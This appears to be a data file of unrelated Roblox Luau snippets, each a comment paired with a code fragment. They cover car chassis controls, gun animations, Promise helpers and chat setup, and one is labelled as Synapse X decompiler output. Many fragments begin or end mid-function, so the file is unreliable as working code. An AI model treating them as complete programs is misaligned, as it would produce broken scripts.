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|
---|---|
-- local script
|
local player = game.Players.LocalPlayer
local ScreenGui = script.Parent.Frame
local function checkKnightValue()
local knightValue = player:FindFirstChild("Knight")
if knightValue and knightValue.Value then
ScreenGui.Visible = true
else
ScreenGui.Visible = false
end
end
player.ChildAdded:Connect(checkKnightValue)
player.ChildRemoved:Connect(checkKnightValue)
checkKnightValue()
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Lighting__1 = game:GetService("Lighting");
local l__CurrentCamera__1 = workspace.CurrentCamera;
function Screen()
local l__Heartbeat__2 = script.Parent:WaitForChild("Heartbeat");
l__CurrentCamera__1.FieldOfView = 70 + l__Heartbeat__2.PlaybackLoudness * 0.05;
l__CurrentCamera__1.CFrame = l__CurrentCamera__1.CFrame * CFrame.Angles(0, 0, math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness, l__Heartbeat__2.PlaybackLoudness) * 0.008)) + Vector3.new(math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0), math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0), math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0));
end;
Connected = game:GetService("RunService").RenderStepped:Connect(Screen);
workspace.Characters.Players:WaitForChild(game:GetService("Players").LocalPlayer.Name):WaitForChild("Humanoid").Died:Connect(function()
Connected:Disconnect();
end);
|
--//
|
--Lucargia--
--//
function a(x)
local y = game.Lighting.Cup:Clone()
y.Parent = x.Backpack
end
script.Parent.ClickDetector.MouseClick:connect(a)
|
-- / Functions / --
|
EventModule.ActivateEvent = function()
local RandomPlayer = PlayingTeam:GetPlayers()[math.random(1, #PlayingTeam:GetPlayers())]
if RandomPlayer then
RandomPlayer.CameraMaxZoomDistance = 3
end
end
|
--[[
Extended typeof, designed for identifying custom objects.
If given a table with a `type` string, returns that.
Otherwise, returns `typeof()` the argument.
]]
|
local function xtypeof(x: any)
local typeString = typeof(x)
if typeString == "table" and typeof(x.type) == "string" then
return x.type
else
return typeString
end
end
return xtypeof
|
--- Registers a command definition and its server equivalent.
-- Handles replicating the definition to the client.
|
function Registry:RegisterCommand (commandScript, commandServerScript, filter)
local commandObject = require(commandScript)
if commandServerScript then
commandObject.Run = require(commandServerScript)
end
if filter and not filter(commandObject) then
return
end
self:RegisterCommandObject(commandObject)
commandScript.Parent = self.Cmdr.ReplicatedRoot.Commands
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 45 ,
spInc = 5 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
-- spawn a random ore
|
local oreName = oreBank[math.random(1,#oreBank)]
local newOre = game.ServerStorage.Items:FindFirstChild(oreName):Clone()
newOre.CFrame = root.CFrame*CFrame.new(0,1,0)
newOre.Parent = workspace--DevVince was here, hehe.
game.Debris:AddItem(newOre, 60*4)--Clean up old ores.
end
end)
AttitudeCoroutine()
while true do
if mode == "charLock" then
targetLocation = (charRoot.CFrame*CFrame.new(3,-2.6,1)).p
targetLook = charRoot.CFrame*CFrame.new(charRoot.CFrame.lookVector*1000)
end
bg.CFrame = targetLook
bp.Position = targetLocation
wait()
end
|
--[[**
ensures value is a given literal value
@param literal The literal to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.literal(...)
local size = select("#", ...)
if size == 1 then
local literal = ...
return function(value)
if value ~= literal then
return false
end
return true
end
else
local literals = {}
for i = 1, size do
local value = select(i, ...)
literals[i] = t.literal(value)
end
return t.union(table.unpack(literals, 1, size))
end
end
|
--------------------------------------------------------------------------------------
--------------------[ ANIMATIONS ]----------------------------------------------------
--------------------------------------------------------------------------------------
|
local AnimAng = {0, 0, 0, 0, 0}
local AnimCF = function(State, Ang)
if State ~= "Running" then
if (not Aimed) then
if State == "Idleing" then
return CF(
RAD(SIN(Ang)) / 2 * StanceSway,
1 + RAD(SIN(Ang * 5 / 2)) / 2 * StanceSway, 0
)
elseif State == "Walking" then
return CF(
RAD(SIN(Ang)) * 2 * StanceSway,
1 + RAD(ABS(SIN(Ang))) * 2 * StanceSway, 0
) * CFANG(0, RAD(SIN(Ang)) / 3, 0)
end
elseif Aimed then
if State == "Idleing" then
return CF(
RAD(SIN(Ang)) / 4 * StanceSway,
1 + RAD(SIN(Ang * 5 / 2)) / 4 * StanceSway, 0
)
elseif State == "Walking" then
return CF(
RAD(SIN(Ang)) / 3 * StanceSway,
1 + RAD(ABS(SIN(Ang))) / 3 * StanceSway, 0
)
end
end
elseif State == "Running" then
return CF(
SIN(Ang) / 6 * StanceSway,
0.9 + ABS(SIN(Ang)) / 5 * StanceSway, 0
) * CFANG(0, -RAD(SIN(Ang)) * 7, 0)
end
end
function Animate()
local IsIdleing = false
local IsWalking = false
local IsRunning = false
spawn(function()
while Selected do
IsIdleing = Idleing and (not Walking) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected
IsWalking = (not Idleing) and Walking and (not Running) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected
IsRunning = (not Idleing) and Walking and Running and (not Aiming) and (not Knifing) and (not ThrowingGrenade) and Selected
RS:wait()
end
IsIdleing = false
IsWalking = false
IsRunning = false
end)
spawn(function()
if S.PlayerAnimations then
TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)
TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)
local PreviousArmTilt = ArmTilt
while Selected do
repeat RS:wait() until (ArmTilt ~= PreviousArmTilt) or (not Selected)
if (not IsRunning) and (not Aimed) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected then
PreviousArmTilt = ArmTilt
TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)
TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)
end
RS:wait()
end
end
end)
spawn(function()
while Selected do
if IsIdleing then
if (not Aimed) and (not Aiming) then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 70, 0, 70),
UDim2.new(0, -35, 0, -35),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.PlayerAnimations and 0.15 or 0,
true
)
if S.PlayerAnimations then
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15)
TweenJoint(AnimWeld, AnimCF("Idleing", AnimAng[1]), CF(), Sine, 0.15)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15)
else
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode")) then
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right
AnimWeld.C0 = CF(0, 1, 0)
Grip.C1 = CFANG(0, RAD(20), 0)
end
end
elseif Aimed and (not Aiming) then
if S.PlayerAnimations then
TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15)
TweenJoint(AnimWeld, AnimCF("Idleing", AnimAng[2]), CF(), Sine, 0.15)
else
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode")) then
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right
AnimWeld.C0 = CF(0, 1, 0)
Grip.C1 = Aimed_GripCF
end
end
end
if S.PlayerAnimations then
wait(0.15)
RunTween = false
while IsIdleing do
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode")) then
if (not Aimed) and (not Aiming) then
AnimWeld.C0 = AnimCF("Idleing", AnimAng[1])
AnimAng[1] = AnimAng[1] + 0.03 * StanceSway
elseif Aimed and (not Aiming) then
AnimWeld.C0 = AnimCF("Idleing", AnimAng[2])
AnimAng[2] = AnimAng[2] + 0.015 * StanceSway
end
end
RS:wait()
end
AnimAng[1], AnimAng[2] = 0, 0
end
end
if IsWalking then
if (not Aimed) and (not Aiming) then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 150, 0, 150),
UDim2.new(0, -75, 0, -75),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.PlayerAnimations and 0.15 or 0,
true
)
if S.PlayerAnimations then
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15)
TweenJoint(AnimWeld, AnimCF("Walking", AnimAng[3]), CF(), Sine, 0.15)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15)
else
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode")) then
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right
AnimWeld.C0 = CF(0, 1, 0)
Grip.C1 = CFANG(0, RAD(20), 0)
end
end
elseif Aimed and (not Aiming) then
if S.PlayerAnimations then
TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15)
TweenJoint(AnimWeld, AnimCF("Walking", AnimAng[4]), CF(), Sine, 0.15)
else
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode")) then
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right
AnimWeld.C0 = CF(0, 1, 0)
Grip.C1 = Aimed_GripCF
end
end
end
if S.PlayerAnimations then
wait(0.15)
RunTween = false
while IsWalking do
if (not LWeld:FindFirstChild("TweenCode"))
and (not RWeld:FindFirstChild("TweenCode"))
and (not ABWeld:FindFirstChild("TweenCode"))
and (not AnimWeld:FindFirstChild("TweenCode"))then
if (not Aimed) and (not Aiming) then
AnimWeld.C0 = AnimCF("Walking", AnimAng[3])
AnimAng[3] = AnimAng[3] + 0.15 * StanceSway
elseif Aimed and (not Aiming) then
AnimWeld.C0 = AnimCF("Walking", AnimAng[4])
AnimAng[4] = AnimAng[4] + 0.1 * StanceSway
end
end
RS:wait()
end
AnimAng[3], AnimAng[4] = 0, 0
end
end
if IsRunning then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 200, 0, 200),
UDim2.new(0, -100, 0, -100),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.PlayerAnimations and 0.15 or 0,
true
)
local LArmCF = CF(-0.75, 0.55 - (SIN(AnimAng[5]) - 8.5)/10, 0.1)
local LArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 5 + RAD(25), RAD(-10), RAD((SIN(AnimAng[5]) + 1.2) * 50 - 90))
local RArmCF = CF(0.75, (SIN(AnimAng[5]) + 1)/2, -0.15)
local RArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 15 + RAD(15), 0, RAD(0 + (SIN(AnimAng[5]) - 3) * 1))
if S.PlayerAnimations then
TweenJoint(LWeld, ArmC0[1], LArmCF * LArmAng, Sine, 0.15)
TweenJoint(RWeld, ArmC0[2], RArmCF * RArmAng, Sine, 0.15)
TweenJoint(AnimWeld, AnimCF("Running", AnimAng[5]), CF(), Sine, 0.15)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(-5), 0), Sine, 0.15)
else
LWeld.C0, LWeld.C1 = ArmC0[1], LArmCF * LArmAng
RWeld.C0, RWeld.C1 = ArmC0[2], RArmCF * RArmAng
AnimWeld.C0 = CF(0, 0.9, 0)
Grip.C1 = CFANG(0, RAD(-5), 0)
end
if S.PlayerAnimations then
RunTween = true
wait(0.15)
while IsRunning do
if (not Aiming) then
AnimWeld.C0 = AnimCF("Running", AnimAng[5])
AnimAng[5] = AnimAng[5] + 0.18
end
RS:wait()
end
AnimAng[5] = 0
end
end
RS:wait()
end
end)
end
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 1
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.375)
,SlideExtend = Vector3.new(0, 0, 0.3)
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(-1,-.4,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
---Controls UI
|
script.Parent.Parent:WaitForChild("Controls")
script.Parent.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Window")
script.Parent:WaitForChild("Toggle")
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local cPanel = script.Parent
local Controls = script.Parent.Parent.Controls
local ver = require(car["A-Chassis Tune"].README)
cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE"
local controlsOpen = false
local cInputB = nil
local cInputT = nil
local cInput = false
local UIS1 = nil
local UIS2 = nil
for i,v in pairs(_Tune.Peripherals) do
script.Parent.Parent.Controls:WaitForChild(i)
local slider = cPanel.Window.Content[i]
slider.Text = v.."%"
slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)
slider.S.Changed:connect(function(property)
if property=="CanvasPosition" then
Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))
slider.Text = Controls[i].Value.."%"
end
end)
end
for i,v in pairs(_Tune.Controls) do
script.Parent.Parent.Controls:WaitForChild(i)
local button = cPanel.Window.Content[i]
button.Text = v.Name
button.MouseButton1Click:connect(function()
if UIS1 ~= nil then UIS1:disconnect() end
if UIS2 ~= nil then UIS2:disconnect() end
UIS1 = UserInputService.InputBegan:connect(function(input)
if cInput then
cInputB = input.KeyCode
cInputT = input.UserInputType
end
end)
UIS2 = UserInputService.InputChanged:connect(function(input)
if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then
cInputB = input.KeyCode
cInputT = input.UserInputType
end
end)
script.Parent.Parent.ControlsOpen.Value = true
cPanel.Window.Overlay.Visible = true
cInput = true
repeat wait() until cInputB~=nil
if UIS1 ~= nil then UIS1:disconnect() end
if UIS2 ~= nil then UIS2:disconnect() end
if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then
--do nothing
elseif string.find(i,"Contlr")~=nil then
if cInputT.Name:find("Gamepad") then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
elseif i=="MouseThrottle" or i=="MouseBrake" then
if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then
Controls[i].Value = cInputT.Name
button.Text = cInputT.Name
elseif cInputT == Enum.UserInputType.Keyboard then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
else
if cInputT == Enum.UserInputType.Keyboard then
Controls[i].Value = cInputB.Name
button.Text = cInputB.Name
else
cPanel.Window.Error.Visible = true
end
end
cInputB = nil
cInputT = nil
cInput = false
wait(.2)
cPanel.Window.Overlay.Visible = false
script.Parent.Parent.ControlsOpen.Value = false
end)
end
cPanel.Window.Error.Changed:connect(function(property)
if property == "Visible" then
wait(3)
cPanel.Window.Error.Visible = false
end
end)
cPanel.Toggle.MouseButton1Click:connect(function()
controlsOpen = not controlsOpen
if controlsOpen then
cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0)
cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
else
if UIS1 ~= nil then UIS1:disconnect() end
if UIS2 ~= nil then UIS2:disconnect() end
cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0)
cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
end
end)
cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()
cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)
wait(.5)
cPanel.Toggle:TweenPosition(UDim2.new(0.23, 0, 1, -24),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)
for i=1,6 do
cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)
wait(.2)
if controlsOpen then
cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0)
else
cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0)
end
wait(.2)
end
|
--[=[
Loads the data at the `name`.
@param name string
@param defaultValue T?
@return Promise<T>
]=]
|
function DataStoreStage:Load(name, defaultValue)
if not self._loadParent then
error("[DataStoreStage.Load] - Failed to load, no loadParent!")
end
if not self._loadName then
error("[DataStoreStage.Load] - Failed to load, no loadName!")
end
if self._dataToSave and self._dataToSave[name] ~= nil then
if self._dataToSave[name] == DataStoreDeleteToken then
return Promise.resolved(defaultValue)
else
return Promise.resolved(self._dataToSave[name])
end
end
return self._loadParent:Load(self._loadName, {}):Then(function(data)
return self:_afterLoadGetAndApplyStagedData(name, data, defaultValue)
end)
end
|
--blacknwhite
|
script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval8 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode8()
end
function mode9()
|
--[=[
@tag Component Class
@return Promise<ComponentInstance>
Resolves a promise once the component instance is present on a given
Roblox instance.
An optional `timeout` can be provided to reject the promise if it
takes more than `timeout` seconds to resolve. If no timeout is
supplied, `timeout` defaults to 60 seconds.
```lua
local MyComponent = require(somewhere.MyComponent)
MyComponent:WaitForInstance(workspace.SomeInstance):andThen(function(myComponentInstance)
-- Do something with the component class
end)
```
]=]
|
function Component:WaitForInstance(instance: Instance, timeout: number?)
local componentInstance = self:FromInstance(instance)
if componentInstance then
return Promise.resolve(componentInstance)
end
return Promise.fromEvent(self.Started, function(c)
local match = c.Instance == instance
if match then
componentInstance = c
end
return match
end)
:andThen(function()
return componentInstance
end)
:timeout(if type(timeout) == "number" then timeout else DEFAULT_TIMEOUT)
end
|
-- main program
|
local runService = game:service("RunService");
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren = {
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction",
}
|
-- Detect when prompt is triggered
|
local function onPromptTriggered(player)
if player.Character and player.Character:FindFirstChild("Humanoid") ~= nil and player.Character.Humanoid.Health > 0 then
for _,Child in pairs(player.Character:GetChildren()) do
if Child:IsA("Tool") and require(Child.ACS_Settings).Type == 'Gun' and Stored.Value > 0 then
if Universal then
Evt.Refil:FireClient(player, Child, Infinite, Stored)
script.Parent.Parent.RefilSound:Play()
else
if require(Child.ACS_Settings).BulletType == BulletType then
Evt.Refil:FireClient(player, Child, Infinite, Stored)
script.Parent.Parent.RefilSound:Play()
end
end
end
end
end
end
|
--vehicle.Nose.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)
--vehicle.Bumper_Front.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)
--vehicle.Bumper_Back.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)
--vehicle.Tailgate.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)
--vehicle.ExhaustPipe.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)
|
frontForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)
backForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end)
vehicle.Wheel_BackLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 1, 0)) end)
vehicle.Wheel_FrontLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 1, 0)) end)
vehicle.Wheel_BackRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, -1, 0)) end)
vehicle.Wheel_FrontRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, -1, 0)) end)
local vehicleDamaged = false
function checkIfVehicleIsDamaged()
if (not frontForceField.Parent or not backForceField.Parent) and not vehicleDamaged and allowDamage then
vehicleDamaged = true
script.IsDamaged.Value = true
vehicle.VehicleScript.Disabled = true
vehicleSmoke.Enabled = true
vehicle.VehicleSeat.MaxSpeed = 0
vehicle.ExhaustPipe.Smoke.Enabled = false
-- Break Joints
vehicle.Wheel_BackLeft:BreakJoints()
vehicle.Wheel_FrontLeft:BreakJoints()
vehicle.Wheel_BackRight:BreakJoints()
vehicle.Wheel_FrontRight:BreakJoints()
hood:BreakJoints()
end
end
vehicle.ChildRemoved:connect(checkIfVehicleIsDamaged)
|
--[=[
Similiar to Fusion's ComputedPairs, where the changes are cached, and the lifetime limited.
@param source Observable<T> | any
@param compute (key: any, value: any, innerMaid: Maid) -> Instance | Observable<Instance>
@return Observable<Brio<Instance>>
]=]
|
function Blend.ComputedPairs(source, compute)
local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source)
return Observable.new(function(sub)
local cache = {}
local topMaid = Maid.new()
local maidForKeys = Maid.new()
topMaid:GiveTask(maidForKeys)
topMaid:GiveTask(sourceObservable:Subscribe(function(newValue)
-- It's gotta be a table
assert(type(newValue) == "table", "Bad value emitted from source")
local excluded = {}
for key, _ in pairs(cache) do
excluded[key] = true
end
for key, value in pairs(newValue) do
excluded[key] = nil
if cache[key] ~= value then
local innerMaid = Maid.new()
local result = compute(key, value, innerMaid)
local brio = Brio.new(result)
innerMaid:GiveTask(brio)
sub:Fire(brio)
maidForKeys[key] = innerMaid
cache[key] = value
end
end
for key, _ in pairs(excluded) do
maidForKeys[key] = nil
cache[key] = nil
end
end), sub:GetFailComplete())
return topMaid
end)
end
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["Roact"]["Roact"])
return Package
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.W ,
Brake = Enum.KeyCode.S ,
SteerLeft = Enum.KeyCode.A ,
SteerRight = Enum.KeyCode.D ,
--Secondary Controls
Throttle2 = Enum.KeyCode.B ,
Brake2 = Enum.KeyCode.N ,
SteerLeft2 = Enum.KeyCode.M ,
SteerRight2 = Enum.KeyCode.V ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.X ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[=[
Converts this arbitrary value into an event handler, which can be subscribed to
@param value any
@return function?
]=]
|
function Blend.toEventHandler(value)
if type(value) == "function" then
return value
elseif typeof(value) == "Instance" then
-- IntValue, ObjectValue, et cetera
if ValueBaseUtils.isValueBase(value) then
return function(result)
value.Value = result
end
end
elseif type(value) == "table" then
if Signal.isSignal(value) then
return function(...)
value:Fire(...)
end
